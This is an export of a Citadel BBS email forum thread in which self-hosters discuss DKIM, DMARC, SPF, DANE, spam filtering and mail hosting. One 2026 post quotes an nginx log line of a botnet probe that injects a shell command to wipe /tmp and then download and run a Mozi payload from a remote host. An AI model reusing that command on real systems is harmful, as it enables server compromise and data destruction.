Email

infanticide

Mon, 27 Apr 2026 21:39:37 -0000

For anyone running an email server and using SpamAssassin as part of their filtering pipeline ... I've just made a pretty major upgrade to my "Infanticide" module. [ https://code.citadel.org/infanticide.git/ ] For those not familiar with Infanticide, it is a module which detects "disposable domains" (currently defined as having been registered in the last 18 months) and you can tell SpamAssassin what to do with emails of that nature. I simply give them a spam score of +10, essentially nuking them from orbit. This version switches the registration date detection protocol from Whois to RDAP, which is far more reliable ... and I made the change today after receiving a few too many "free gifts" from the .pro TLD. Filtering this aggressively isn't for everyone ... but it works for me. If it works for you, share and enjoy.

Re: Infiltration

Sat, 28 Mar 2026 21:33:19 -0000

Oh yeah ... constantly. In particular they're constantly scanning my web server. Fortunately I have some safeguards in place.

Heh. Here's a fun one:

Mar 28 21:25:50 www nginx[4948]: www nginxaccess: 36.49.65.2 - - [28/Mar/2026:21:25:50 +0000] "GET /shell?cd+/tmp;rm+-rf+*;wget+http
://36.49.65.2:56495/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 153 "-" "Hello, world"

It's so fun to get random hits from lowlifes who think all the world's an unpatched Wordpress from 2005.

Even better is the scrapers who try to crawl my git server, ignorantly slurping every version of every change on every file for the last 30 years. I eventually had to change my cgit setup so that if a non-human tries to traverse cgit, they get this:

Identity Verification - 习近平小熊维尼 Xi Jinping Winnie the Poohpt>document.cookie='cgit_access=verified;path=/;max-age=86400';location.reload();

Verifying Connection...

习近平
looks exactly like Winnie the Pooh.

<
/body>

A real hacker visiting my repo will be using a web browser that immediately hits the reload. Alibaba Cloud (which was the biggest culprit) ingests those strings, trips up the Great Firewall of China, and pretty soon my site is "poison" and gets blocked to the scrapers. Problem solved.

Infiltration

Tue, 17 Mar 2026 23:08:59 -0000

Beware of Cloudflare and other MS, App and Googlike reptiles infiltrating your Citadel.

Message #2099519281

Sun, 04 May 2025 23:00:46 -0000

DANE / DNSSEC and MTA-STS is no problem with Citadel to setup.

I have running it. The only problem for DANE is, not all DNS offer TLSA as own entry. A "fake" entry over TXT doesnt work anymore.

If youre using Cloudflare, you are fine to get all things running.

Cheers

Mike

Mi Mai 22 2024 11:15:20 UTC von Nurb432

Moving people to ' centralized DNS' a goal perhaps? To better control, block, and monitor...and of course: 'profit!'

"sorry, you are not in the club, your DNS infrastructure does not count, so piss-off"

Wed May 22 2024 07:10:08 EDT from darknetuser

I was reading at ADMIN Magazine that there is a bit of a push to get DANE set up for your smtp. I have never noticed it being enforced, but just as with DMARC and company, if it reaches a certain mass it will be, which SUCKS, because in order to have DANE work in sync with your certificates you either need a DNS provider with an API you can use to rekey, or you need to run your own DNS infrastructure, or you need to do rekey manually. Which SUCKS.

Message #2099472988

Fri, 24 May 2024 16:37:04 -0000

Dont be surprised if somehow we end up back there. Perhaps not in exact terms, but the same effect.

Fri May 24 2024 12:31:22 EDT from IGnatius T Foobar

but the "masters of the universe" certainly regret that.

Message #2099472985

Fri, 24 May 2024 16:31:22 -0000

I don't know if DANE is going to be a thing. It is a lot of work for very little additional benefit. I get it, the big tech oligarchs would love to exclude more of the little guys, but the genie is already out of the bottle. And at the end of the day, the Internet was built with IP, and that means there will always be ways to deter gatekeeping. Those who are too young to remember the older networks don't realize what a significant paradigm shift it was to put all of the network intelligence at the endpoints, and to make the network itself a simple packet forwarding infrastructure. They did it to make the network infinitely scalable and powerfully redundant, and it accomplished those goals in a big way (well, except for the 32-bit address space, but at the time they didn't expect there would be an endpoint on every desk and in every pocket). Before IP, networks were typically built with central controllers. Think about SNA and X.25 and other networks from that era ... or even the PSTN for that matter. Whoever owned the controllers basically gatekeeped the network. Getting away from that was a design win for pure advancement of the craft, but the "masters of the universe" certainly regret that.

Message #2099472468

Wed, 22 May 2024 11:15:20 -0000

Moving people to ' centralized DNS' a goal perhaps? To better control, block, and monitor...and of course: 'profit!'

"sorry, you are not in the club, your DNS infrastructure does not count, so piss-off"

Wed May 22 2024 07:10:08 EDT from darknetuser

I was reading at ADMIN Magazine that there is a bit of a push to get DANE set up for your smtp. I have never noticed it being enforced, but just as with DMARC and company, if it reaches a certain mass it will be, which SUCKS, because in order to have DANE work in sync with your certificates you either need a DNS provider with an API you can use to rekey, or you need to run your own DNS infrastructure, or you need to do rekey manually. Which SUCKS.

Message #2099472465

Wed, 22 May 2024 11:10:08 -0000

> I'm telling ya ... once you dot all the i's and cross all the t's ... >stuff just starts working properly. I wouldn't skip any steps. DNS, >RDNS, SPF, DKIM, DMARC. And always send mail using TLS if the >receiving server offers it. Basically if you can get the Google >Postmaster Tools "Compliance Status" dashboard to go all-green, you'll >be able to send mail to pretty much anyone. > It would be fine for me if they weren't moving the goal posts every few years. I was reading at ADMIN Magazine that there is a bit of a push to get DANE set up for your smtp. I have never noticed it being enforced, but just as with DMARC and company, if it reaches a certain mass it will be, which SUCKS, because in order to have DANE work in sync with your certificates you either need a DNS provider with an API you can use to rekey, or you need to run your own DNS infrastructure, or you need to do rekey manually. Which SUCKS.

Message #2099471921

Sun, 19 May 2024 11:36:24 -0000

It's static again at this point. BUT its a residential subnet as far as i understand.. its not 'business class' just that i had to get static to get off a silly ass 'neighborhood NAT' to allow incoming connections. it was cheaper doing that then buying an incoming VPN, with static. It was decades ago when i went thru that nonsense with an older ISP ( that no longer exists .it was bought up by Comcast ). I have been back on static for at least 15 years now with a fiber company.

I guess ill tell the story, short version:

ISP was in a crunch for addresses or something. Rumor is they gave out too many and for some reason could not get more allocated to them.. hit a wall, so to speak.

After several years, one weekend i was off line for the weekend. I forget why now. Monday i got back on line, got a random address. Called them to ask why. "you violated your contract so we terminated your static IP" "wtf, what" "the contract states you must use it, we saw that you did not use it for 24 hours so the contract was in violation".. "can i pay to get it back" "no" They were not my ISP by end of the week.

Sat May 18 2024 23:58:35 EDT from IGnatius T Foobar

I definitely wouldn't try to host email on a dynamic address.

Message #2099471875

Sun, 19 May 2024 03:58:35 -0000

I definitely wouldn't try to host email on a dynamic address. There are even blackhole lists out there that keep track of residential address blocks. If you're going to run your own mail server, you need to have it in a "good neighborhood." For me, that's the Static IP VPN from Acecape, as I've mentioned before. And I route it myself instead of using the supplied hardware. For others that could mean either running it on a VPS, or just getting a VPS for its static location and then building a VPN over to that. I'm telling ya ... once you dot all the i's and cross all the t's ... stuff just starts working properly. I wouldn't skip any steps. DNS, RDNS, SPF, DKIM, DMARC. And always send mail using TLS if the receiving server offers it. Basically if you can get the Google Postmaster Tools "Compliance Status" dashboard to go all-green, you'll be able to send mail to pretty much anyone.

Message #2099471843

Sat, 18 May 2024 20:27:38 -0000

Umm 3 decades ago... where has the time gone.

Message #2099471842

Sat, 18 May 2024 20:18:16 -0000

Oh and ill peek at startmail.

MxRoute seems a viable choice, but they are lacking in the support department if you run into issues. Basically: " if you are not an expert, dont come here we dont want you "

Message #2099471839

Sat, 18 May 2024 20:14:17 -0000

Ya i have my own domain.

I used to host it myself a couple of decades ago ( using what server, you get one guess :) ) but mid 90s i started having some issues with non-delivery, then my static IP was yanked from me, and instead of fighting i shut it all down and went with a traditional hosting service. ( my ISP at the time did not want to give them out anymore even at an additional cost, and used an excuse to get rid of mine, funny story actually. This was still dialup days.. sooooo long ago )

But.. since IG just announced DKIM, im wondering if i should just bring it back home. Of course keep the domain parked + DNS control, but just toss in the towel for hosting.

Message #2099471836

Sat, 18 May 2024 19:50:24 -0000

> 2024-05-18 15:33 from Nurb432 >Just me. > >Couple of aliases are nice, but its really one account. And you said you are using your own domain, didn't you? I guess I could ask around and find somebody willing to host a mailbox for you for a symbolic prize. I know a bunch of people running personal mail servers, myself included :) Bad news is none of the people I have in mind has anything remotely resembling a high availabilty deployment. If you want your email to run on a datacenter instead of under somebody's bed then you can get an Startmail account with a custom domain for 70 bucks per year. It offers disposable addresses, multiple aliases, and real IMAP/SMTP integration. Protonmail and Tutanota are cheaper, I think, but they lack real IMAP/SMTP integration and therefore are out of the race. Also, horsefucker.org is open for email account registrations at cock.li, just in case you want a serious email for business and such (lol).

Message #2099471828

Sat, 18 May 2024 19:33:15 -0000

Just me.

Couple of aliases are nice, but its really one account.

Sat May 18 2024 14:41:16 EDT from darknetuser

How many users do you need to serve? Do you want a managed email solution, or is ummanaged fine?

Message #2099471814

Sat, 18 May 2024 18:53:22 -0000

> I used to think that the big requirements were RDNS, SPF, and maybe >DMARC, and that DKIM was just a nice-to-have, particularly if you were >a popular domain and people liked to spoof you. Apparently I was >wrong: DKIM is now pretty much a requirement if you want to get your >mail out to people whose inboxes are on the big sites. I am not so sure. I used to dish out a lot of email with bad DKIM and it still made it through. The main mail outgoing gateway at $job? manages mail for multiple domains. When I set it up, it was made in a hurry. I set proper DKIM/SPF/DMARK for the important domains, then I had the server sign every other email with a default key. The problem is the default key would missalign the signatures - if the server is mail.horsemail.com and the domain sending the message foals.com, the signature would get done for domain horsemail.com, which would be tagged as wrong dkim by the receiving end. Email with good SPF and bad DKIM will pass DMARC but will generate a failure report from the receiving system - ie. they will send you an XML report indicating your DKIM sucks. The mail usually goes through. I don't see many failures from rDNS. You can have a very wrong rDNS and it will go through, with some exceptions like At&T, as long as you have some rDNS. Bad rDNS will get you by better than no rDNS at all. What I find in spaces is delivery failures for legit email due to botched EHLO/HELO from legitimate servers because they don't configure their Postfix right. Administrators that cant set their hostname right should have their breathing license revoked.

Message #2099471812

Sat, 18 May 2024 18:41:16 -0000

>Soooo seems im in the market for new mail hosting service that isn't >stupid priced. Any suggestions? And im willing to move my >domain to them too, as i bet that price got jacked up too. I do NOT >need web hosting or any other fun-features beyond being able to edit >DNS A records if i move the domain.. its just mail. How many users do you need to serve? Do you want a managed email solution, or is ummanaged fine?

Message #2099471788

Sat, 18 May 2024 16:06:45 -0000

Would be helpful to a lot of people...

Sat May 18 2024 11:46:21 EDT from IGnatius T Foobar

I'd like to write an easy-to-follow guide on how to self host your email and live to tell the tale.

Message #2099471787

Sat, 18 May 2024 15:46:21 -0000

I don't want to overstate it, but for me the effect of adding DKIM signatures to outbound email was clear and immediate. Gmail in particular stopped rejecting our emails within about 12 hours. I used to think that the big requirements were RDNS, SPF, and maybe DMARC, and that DKIM was just a nice-to-have, particularly if you were a popular domain and people liked to spoof you. Apparently I was wrong: DKIM is now pretty much a requirement if you want to get your mail out to people whose inboxes are on the big sites. I'd like to write an easy-to-follow guide on how to self host your email and live to tell the tale. Obviously it would be Citadel-centric but I want to get the message out there that ... in the words of Leah Bolden ... "You can do this!"

Message #2099471481

Thu, 16 May 2024 11:02:45 -0000

You are trying to get me to self-host again, aren't you?

Message #2099471456

Thu, 16 May 2024 04:30:20 -0000

A pox on the house of google for holding the world's email hostage. BUT...! Tonight I put the finishing touches on the DKIM signer for Citadel, and it's in-production here on Uncensored now. I've got our DKIM record in place, and unless it barfs I'll be updating our DMARC record to match it tomorrow. And if I do say so myself, I believe I've written the absolutely finest DKIM implementation in the world. I really mean it. It is sooooooo easy for the administrator to work with. If you don't have a signing key, it generates one automatically and saves it in the config database. Whenever changes are made to your domain name configuration (add or remove email domains) or if you change the key for some reason, it automatically posts an Aide message telling you exactly what DNS TXT records to create. Funny thing ... about a month ago I jokingly said that Citadel version 1000 would have to be something really special ... and here we are.

Message #2099471436

Wed, 15 May 2024 23:59:37 -0000

9Front folks are going thru this same struggle it seems.

Wed May 08 2024 13:21:31 EDT from IGnatius T Foobar

Unfortunately it may not be enough. I've spent the last few weeks learning the details of how DKIM works, and writing a DKIM signature engine for Citadel.
It hasn't been easy. I intend to complete this before I do battle with the gmail gestapo again.

Message #2099471408

Wed, 15 May 2024 15:37:53 -0000

Ran across mxroute, which has a option to pay 125, for life...

Message #2099471405

Wed, 15 May 2024 15:11:28 -0000

>Not that 250 a year is going to break the bank or something but just >for mail, its silly to pay that much. I gave up on the rat race of trying to host my own email, for the most part. For $5/mo I let fastmail handle it. No more stupid delivery problems and their spam filter seems to be decent. Not as secure as, say, protonmail or runbox or those folks, but my use case doesn't call for it, and they are relatively not-evil for the most part. I still host email for 1 domain on a $4.60/mo hetzner VPS. I use that for text-only email lists and to communicate with folks that also run their own email server. Anybody who sends me MIME-anything there gets plonked. Delivery to gmail or M365 doesn't work, but I don't really care. Same VPS also hosts websites, gemini, asterisk nonsense.

Message #2099471389

Wed, 15 May 2024 11:52:53 -0000

So related to all of this stuff...

Seems Bluehost has raised their hosting rates again. Im now paying almost 250 a year for hosting.. wtf.. While i could bring it back home again and seff-host, that is a lot of hassle ( part of why i quit doing it a couple of decades ago ), and these days id also have to go buy an incoming VPN too, or upgrade my fiber to business class ( i may be static, but its still a residential IP subnet ) and will end up close to the same amount i'm sure, so hassle + similar cost = not bother.

Not that 250 a year is going to break the bank or something but just for mail, its silly to pay that much.

Soooo seems im in the market for new mail hosting service that isn't stupid priced. Any suggestions? And im willing to move my domain to them too, as i bet that price got jacked up too. I do NOT need web hosting or any other fun-features beyond being able to edit DNS A records if i move the domain.. its just mail.

Not a real rush, i just renewed for the year as it was going to die Monday, but its on my agenda this summer/fall to decide on an alternative plan.

Message #2099470906

Wed, 08 May 2024 17:21:31 -0000

> Most modern stacks will respect DMARC, so if you don't want to be >flooded by email falselly sent from your domain, just add SPF and DMARC >entries to your DNS and you will slash most spoofing down. The nice thing about SPF and DMARC is that they can both be implemented without modifying your email server at all. It's purely a DNS play, and that ought to be enough. Unfortunately it may not be enough. I've spent the last few weeks learning the details of how DKIM works, and writing a DKIM signature engine for Citadel. It hasn't been easy. I intend to complete this before I do battle with the gmail gestapo again.

Message #2099370310

Mon, 04 Dec 2023 17:03:37 -0000

Heard on a conference call today: "VMware employees have to use gmail now!!!1" No, you silly goose. Now that they're owned by Broadcom they're using Broadcom's email system, which is G-Suite. That's like saying everyone who uses Microsoft 365 has to use Hotmail now.

Message #2099367142

Wed, 18 Oct 2023 23:34:27 -0000

SPF is supposedly setup. Cant say about DMARC, not a mail expert, but i had the hosting people do stuff for me. Hey, i pay my bill, they can help :)

not naming names, but they are a large provider, been around 20 years. I moved to them around 15 years ago, if i remember right.

Wed Oct 18 2023 19:23:51 EDT from darknetuser

Maybe send an email from your hosted email to a main tester and check the headers to learn which stack they are running.

Most modern stacks will respect DMARC, so if you don't want to be flooded by email falselly sent from your domain, just add SPF and DMARC entries to your DNS and you will slash most spoofing down.

If you fear being flooded by random flooders, then I hope your mail host has the usual countermeasures (blacklists, greylisting and the like)

Message #2099367141

Wed, 18 Oct 2023 23:23:51 -0000

>Right, but i thought with all the stuff they had in place, that would >have stopped this too. Its not a HUGE risk since they cant use me as >a relay, but i will take some time to close that hole too. Of course Maybe send an email from your hosted email to a main tester and check the headers to learn which stack they are running. Most modern stacks will respect DMARC, so if you don't want to be flooded by email falselly sent from your domain, just add SPF and DMARC entries to your DNS and you will slash most spoofing down. If you fear being flooded by random flooders, then I hope your mail host has the usual countermeasures (blacklists, greylisting and the like)

Message #2099367118

Wed, 18 Oct 2023 21:02:04 -0000

Right, but i thought with all the stuff they had in place, that would have stopped this too. Its not a HUGE risk since they cant use me as a relay, but i will take some time to close that hole too. Of course if one day i get flooded, that goes on the top of my to-do list..

Wed Oct 18 2023 16:46:39 EDT from darknetuser

That is pretty standard.

Lots of email service appliances don't get pesky about the origin of emails and just process anything they get sent to port 25.

If you are concerned about spoofing you set some DMARC policy. THat is what it is for.

Your PVE is not loging to your mail server or anything. It is just sending a regular email with the integrated postfix if ships with. What your remote email service sees is an email comming from another server addressed to an account the remote server controls.

Message #2099367112

Wed, 18 Oct 2023 20:46:39 -0000

>So at home i have several devices. One of them is a PVE server. It >will send email notices. It has no local SMTP server. It has no >login credentials to my mail server. Yet it can send mail to it.. > That is pretty standard. Lots of email service appliances don't get pesky about the origin of emails and just process anything they get sent to port 25. If you are concerned about spoofing you set some DMARC policy. THat is what it is for. Your PVE is not loging to your mail server or anything. It is just sending a regular email with the integrated postfix if ships with. What your remote email service sees is an email comming from another server addressed to an account the remote server controls.

Message #2099365982

Mon, 02 Oct 2023 17:58:28 -0000

for what its worth this is what i was using to test. That its not a 'true' open proxy again, i wont panic but ill will get a hold of them later.

https://mxtoolbox.com/diagnostic.aspx

Message #2099365978

Mon, 02 Oct 2023 17:46:12 -0000

Nope its not even a true login. its just a valid email. i have it setup to forward several email addresses to my real one. But they dont have actual logins. ( common ones like sales, admin, etc ). PVE also does not ask for email login info, or even server, just asks for the admin email to send notices to.

I guess i can call the hosting service later this week as its not an 'emergency'. it passed all the 'checks' i ran. so i would have assumed this wasn't possible either.

Mon Oct 02 2023 13:07:03 EDT from IGnatius T Foobar

If it accepts that, your email server is not configured properly. Otherwise some spammer can come along and just send zillions of messages pretending to be you.

Are you sure you didn't perhaps give your username and password to PVE while configuring the mail server? Then it would log in.

Message #2099365975

Mon, 02 Oct 2023 17:07:03 -0000

If it accepts that, your email server is not configured properly. Otherwise some spammer can come along and just send zillions of messages pretending to be you. Are you sure you didn't perhaps give your username and password to PVE while configuring the mail server? Then it would log in.

Message #2099365662

Thu, 28 Sep 2023 11:43:52 -0000

So i know its basic, but never did understand why it worked.

I have hosted mail. I no longer self host, so its on a remote server, not even on my network. it has all the normal protections : Not a relay SPF, bla bla bla. Run an online test and other than some initial connect speed it passes all checks.

So at home i have several devices. One of them is a PVE server. It will send email notices. It has no local SMTP server. It has no login credentials to my mail server. Yet it can send mail to it..

I understand its spoofing an account on my domain to send to an account on my domain ( its self. ) but why does that still work, with all the protections from above active? Sure, it does not 'hurt' but it is an open door, of sorts, that could be used to spam the hell out of me..

Re: Spamhaus and domain registrars molest you right from the start ..

Sun, 30 Jan 2022 21:02:15 -0000

At least its a step in the right direction.

Re: Spamhaus and domain registrars molest you right from the start ..

Sun, 30 Jan 2022 16:39:39 -0000

The self-appointed gods of email over at Google eventually started accepting mail from my domain again, but it all goes into the recipients' spam folders. It's probably going to be a long effort to get that fixed. In the mean time I had a really important email to send out last week to about a dozen people and, predictably, the half or so who use gmail didn't read it in time because it was in their spam folder. I miss the good old days when non-savvy people used AOL or Hotmail. Gmail is evil.

Re: Spamhaus and domain registrars molest you right from the start ..

Sat, 11 Dec 2021 14:03:00 -0000

I took me several attempts to get stuff working right ( with my hosting people i dont know the buttons they pushed )

Fri Dec 10 2021 04:21:04 PM EST from IGnatius T Foobar Subject: Re: Spamhaus and domain registrars molest you right from the start ..

After setting up a DMARC record I am beginning to receive reports, but I'm not 100% sure how to read them. If I am reading them correctly, there may actually be spammer scum out in the wild spoofing my domain.

Re: Spamhaus and domain registrars molest you right from the start ..

Fri, 10 Dec 2021 21:21:04 -0000

After setting up a DMARC record I am beginning to receive reports, but I'm not 100% sure how to read them. If I am reading them correctly, there may actually be spammer scum out in the wild spoofing my domain.

Re: Spamhaus and domain registrars molest you right from the start ..

Sat, 27 Nov 2021 13:24:17 -0000

Here recently my domain got spoofed for a bit. ( long story. My hosting provider didnt lock things down by default, and i didnt know i had to look into all that stuff myself until it was too late. Why it took them decades to find me, i donno ) I'm not 100% blacklisted but there are places i can no longer send mail to.

I have had the domain since you could first register non-governmental names and *had* to deal with 'netsol' to do it. ( and back in the early 90s, god help you if you lost access to email due to being a dumbass and wanted to transfer the domain away to a provider instead of self-host.. another long story. about lost the name )

Entire thing pisses me off

Spamhaus and domain registrars molest you right from the start ..

Sat, 27 Nov 2021 07:56:21 -0000

A real annoyance and "crime against decent puter users" is when a domain is blacklisted, and then you buy it, not knowing this. But it's YOUR goddam problem now. YOU did all those nasty things you spamming bastard. And applying to get your name "cleared" is a government-like process similar to medieval torture. It's not gonna happen, and is it even worth it?

I learned a lot about these shoddy "systems" while setting up Citadel. Some domains were clean, others so dirty google wouldn't even put them in YOUR spam folder. Like they never existed. [Censorship? Don't get me started.] But I could see them on Thunderbird with my other mail server. Naturally, I despise spam and mailing lists of any kind and wish them the worst. But pointing the finger at someone "new" for someone else's bs is such shite.

That's all, I hope I posted in the right forum :)

Re: Error on port 25

Tue, 18 May 2021 15:27:05 -0000

danp, if you are looking for help with MSMTPD you might want to try the Linux room.

Error on port 25

Tue, 18 May 2021 08:43:19 -0000

Hi everyone.

I have this error on port 25, on my RaspberryPi.

Unable to connect to the remote host:connection refused.

And the netstat -ntlp | grep 25 shows me this:

tcp 0 127.0.0.1:25 0.0.0.0:* LISTEN 369/msmtpd

Any chance of making it listen on all interfaces? how exacty should I do that? Thanks in advance....

Message #4671462

Mon, 15 Mar 2021 16:59:59 -0000

I have found mine does whatever it wants. Does not always update, i cant always mark all as read... Mind of its own.

Sat Jan 16 2021 11:53:50 EST from sethmhur

is there anyway to tell thunderbird how many messages to download
instead of downloading all of them?

I'm browsing over imap.

Sat, 16 Jan 2021 16:55:23 -0000

Message #4646161

Sat, 16 Jan 2021 16:53:50 -0000

is there anyway to tell thunderbird how many messages to download instead of downloading all of them?

Message #4567563

Fri, 03 Jul 2020 23:10:21 -0000

Right. That's my point. If you're not going to generate an email that is readable in both formats, DON'T INCLUDE BOTH FORMATS.

Message #4563619

Wed, 17 Jun 2020 04:47:49 -0000

Worse when the text alternative is so badly formed that it has an entirely different meaning. I have had messages that were missing plain text items. Parts from the "fancy" html versions that should have been in the plain text version but were not, and changed the meaning of the email entirely. Multiple mail user agents confirmed it for me (Mutt, Alpine, webmail plain text view). Ugh.

Message #4563125

Mon, 15 Jun 2020 19:20:21 -0000

> Ok, this has turned into a rant. > > And rightly so. I blame application developers, really. Those are the ones generating multi-messages with empty text/plains. I don't expect users to fill both the text-only field and the html field.

Message #4563104

Mon, 15 Jun 2020 17:57:40 -0000

That's kind of the point. Actually, that's *exactly* the point. multipart/alternative was *designed* to gracefully fall back to a non-richtext version of the message if the richtext version can't be rendered on the reader's hardware or software. If the software generating the message doesn't have a plain version of the text available, how about they just DON'T USE MULTIPART/ALTERNATIVE AT ALL!! Just set the top-level content type to text/html and be done with it. I read most of my email in a console window. If a multipart/alternative message contains a text/plain component, that's the one I'm going to see. But if it doesn't, my client will do its best to translate HTML to text. So it makes NO sense to send an alternative format that DOESN'T CONTAIN THE MESSAGE TEXT. Ok, this has turned into a rant.

Message #4562516

Sat, 13 Jun 2020 21:39:15 -0000

> There it is again. Is text/plain completely dead now? And if it is, >why bother doing multipart/alternative at all? > > I only generate text/plain. What I hate is when they do multipart/alternative and the text part is left empty. People doing that should be taken out and shot.

Message #4562493

Sat, 13 Jun 2020 21:16:41 -0000

>We have tried to send you this email as HTML (pictures and words) but it wasn't possible. >In order for you to see what we had hoped to show you please click here to view online in your browser: There it is again. Is text/plain completely dead now? And if it is, why bother doing multipart/alternative at all?

Message #4500583

Fri, 15 Nov 2019 01:09:54 -0000

When you read mail using the Citadel text client, it shows the "plain text" version of a message, if one is present, because it is presumably better formatted than a conversion from HTML would be. And it works well. But every now and then, some idiot programmer builds software that generates emails that say "You are reading the plain text version of this email. Your client cannot display HTML email." Oh really now? Yes it can, and if you'd just send the message as text/html instead of multipart/alternative, it would cope just fine, moron. Don't include an alternative in a format you don't intend to support with an actual version of the message.

Re: Citadel Mailing list component

Mon, 21 Oct 2019 17:02:15 -0000

Thanks IG! That's pretty cool, and easy to understand.

Re: Citadel Mailing list component

Mon, 21 Oct 2019 15:36:05 -0000

>Hi, i would like some more information on the citadel "listserv" >feature. What mailing list does the citadel suite use? Can it be used >to send announcement only type messages, or is it just for discussion >lists? Is it easy to send bulk mail? (i am thinking in the hundreds >not thousands) As with most features, the listserv in Citadel is built-in; it doesn't use a third-party program. You can totally use it for an announcement list. Quite simply, every message posted in a room is sent to the mailing list recipients for that room. If you don't want it to be a discussion list, you simply make the room read-only (if it's a community site). Then you just post your things to it. In fact, you can make a room both a Blog and a Mailing List at the same time, which is pretty cool. "List" recipients will receive each message as it was originally entered -- in other words, the sender will be the name and address of the user who posted the message. "Digest" recipients will receive each message with the sender being the list itself. Which of these options you choose depends on what you want to happen when people reply to list messages.

Failure installing Citadel on a Rasperry Pi 4.

Sun, 20 Oct 2019 19:18:51 -0000

I installed the OS and then installed but did not configure Apache.

I then selected Citadel as the emaile server. There was a good tutorial it seemed. I got to the instructions sudo /usr/lib/citadel-server/setup and it does not find the setup app. I looked at the folder and it was empty.

Is this supported on the pi4?

Did I miss an instruction?

I did try to uninstall and reinstall, but that did not do much. The install did not bring up any prompts.

TIA.

Citadel Mailing list component

Fri, 18 Oct 2019 03:23:26 -0000

Hi, i would like some more information on the citadel "listserv" feature. What mailing list does the citadel suite use? Can it be used to send announcement only type messages, or is it just for discussion lists? Is it easy to send bulk mail? (i am thinking in the hundreds not thousands)

Mike

Message #4404962

Tue, 18 Dec 2018 15:36:22 -0000

Understood. However, some experience from having the same email domain in the past (when he ran a company and I worked there), shows that people are generally not smart enough to know the difference, and they *will* send email to the wrong account. Even though my dad is *not* using gmail at all, I occasionally get messages to my gmail address that were intended for him. People just guess. The truth is, even though my gmail has an autoresponder that shouts back at you "I DID NOT AND WILL NOT READ YOUR MESSAGE" it does go to a separate "gmail" folder on my Citadel account. But most of what comes in is just noise.

Message #4404853

Tue, 18 Dec 2018 06:40:08 -0000

um, you can make him an address for gmail that isn't the same as yours. like ArthurDent (instead of ArtDent) or MrArtDent, or ArtDentSr.

Mine is TrilMiddlename rather than TrilLastname.

Yes, I just changed your last name to Dent.
The question is whether your version of L, TU, & E says kneebiter or asshole?

Message #4401408

Wed, 05 Dec 2018 20:05:42 -0000

Any time my parents ask me what I do, I tell them to watch the movie Hackers. When they ask which one I am, I respond with yes.

Message #4401402

Wed, 05 Dec 2018 19:39:46 -0000

When I dropped my @uncensored.citadel.org address (after years of using @citadel.org as the primary) my spam/junk mail level went waaaaaaaaay down. Also my sister couldn't reach me, which was an added bonus.

Message #4401294

Wed, 05 Dec 2018 13:03:35 -0000

I don't think we should discuss anything we did before the age of 18. And I think changing email might be even more painful than changing physical address. Though, I'm thinking it's a great way to get rid of junk. Just like changing physical address as well.

Message #4401281

Wed, 05 Dec 2018 11:22:07 -0000

I wonder how many non-techno adults are afraid their children are hacking major corporations because they don't understand what they're doing. (Or, for that matter, how many children are actually hacking from their parent's home, to the parent's ignorance?)

Message #4401034

Tue, 04 Dec 2018 15:43:14 -0000

This past weekend my mom and dad were lamenting that their cable was costing too much and they want to switch to Verizon FiOS, but Dad has his email account on optonline.net and doesn't want to go through all of the hassle of changing it everywhere it's being used. There were some entertaining bits of conversation and some rather frustrating ones. Dad: "How can I get a list of all the places where I used that email?" Me: "You can't." or this one... Mom: "[all these other people] have gmail.com, can't you just use that?" Me: "No. People will start sending me all of his email because artc*****@gmail.com is me." (We have the same name. Their fault, not mine.) Dad: "Well are you still using that for anything?" Sure, Dad, let me unload my YouTube, all of my Android devices, and everything else just so you can have an email address that makes it ambiguous which one of us they're actually reaching. But this one takes the cake... Mom: "But which one are you using?" Me: "I run my own. I've always run my own. You know that." Mom: [confused] "How can you even do that?" Me: [incredulous pause] "Do you even know who I am?" Apparently they haven't been paying attention for the last 30 years. What did they think I was doing with the computer when I was a teenager?

Message #4382787

Wed, 03 Oct 2018 15:37:07 -0000

But he did get generations of teenagers to read foul language for school assignments.

Message #4380828

Thu, 27 Sep 2018 19:35:15 -0000

...unlike JD Salinger, who was neither.

Message #4380568

Thu, 27 Sep 2018 02:32:35 -0000

You are a scholar and a gentleman...

Message #4380280

Wed, 26 Sep 2018 13:54:39 -0000

Because of past abuse, we've had to set things up so that new accounts need permission to send Internet mail. I'll switch it on for you now.

Message #4380277

Wed, 26 Sep 2018 13:49:32 -0000

I've been able to receive e-mails (on Uncensored Citadel) from external e-mail hosts, but the ones I've sent in reply were never delivered. Is this a known glitch?

Message #4379602

Tue, 25 Sep 2018 02:01:00 -0000

There is an entire generation of people now in Corporate America who are only capable of ensuring that the marketing materials are "lit, and not rekt" rather than actually being able to spell and think.

Message #4376461

Fri, 14 Sep 2018 13:00:06 -0000

When I worked for WinINSTALL, someone in marketing didn't clear the promotional material through channels properly, and let that kind of spelling slip. It was very prominant, too. One would think, done on purpose, if one actually thought the person who did it had two brain cells to rub together.

Message #4374157

Mon, 03 Sep 2018 22:09:33 -0000

Yeah, IG, the R and T keys excuse is truly valid. What isn't so valid was my old habit of typing "floppy disk" and for some reason unrelated to my own personal medical status, swapping the S with a C. That one got me in quite a lot of hot water growing up.

Message #4373318

Wed, 29 Aug 2018 18:52:31 -0000

You always had the gift to pronounce the unpronouncable.

Message #4373296

Wed, 29 Aug 2018 16:43:46 -0000

That was completely unintellagaqble.

Message #4373292

Wed, 29 Aug 2018 16:19:56 -0000

*attempts to pronounce 'unintellagaqble' unsuccessfully*

Message #4372964

Mon, 27 Aug 2018 20:20:58 -0000

I just sent my first mail to my main list of nearly 100. 14 hard bounces - one soft. Gawd and i spent ages typing up those email addresses, and verifying the unintellagaqble ones.

Exciting stuff i have 5 openers, and one guy who has signed up for our newsletter/mailing list. (actually i remember this guys email as i had to check his domain, it was a real scrawl,

but glad i did, as he was a top lawyer from offices in the best lawyers addresses in London. We need legal help at the moment at our little market :) ) .

Anyway, i'm happy to get some news out to the people who left me their emails just over 4 weeks ago.

I wish i had something stronger than a coke, or coffee right now. :)

Message #4372955

Mon, 27 Aug 2018 18:47:56 -0000

Mon Aug 27 2018 14:23:45 EDT from Ragnar Danneskjold

Sorry - just a type. R and T are next to each other. Meant out.

lol! Everything between A and Z - (or Q & M ?) is fartoo close together for my claws of fingers.

Message #4372951

Mon, 27 Aug 2018 18:29:04 -0000

Anyone got a copy of Eudora I can warez?

Message #4372947

Mon, 27 Aug 2018 18:23:45 -0000

Sorry - just a type. R and T are next to each other. Meant out.

Message #4372937

Mon, 27 Aug 2018 17:51:07 -0000

Thanks Ragnar! You are the second person who has recomended Mailchimp. You said "our"? Do you work for Mailchimp?

Maybe third time lucky? I tried Mailgun, now Sendinblue...

Re: Deliverability of Mailing list recipients

Mon, 27 Aug 2018 17:45:47 -0000

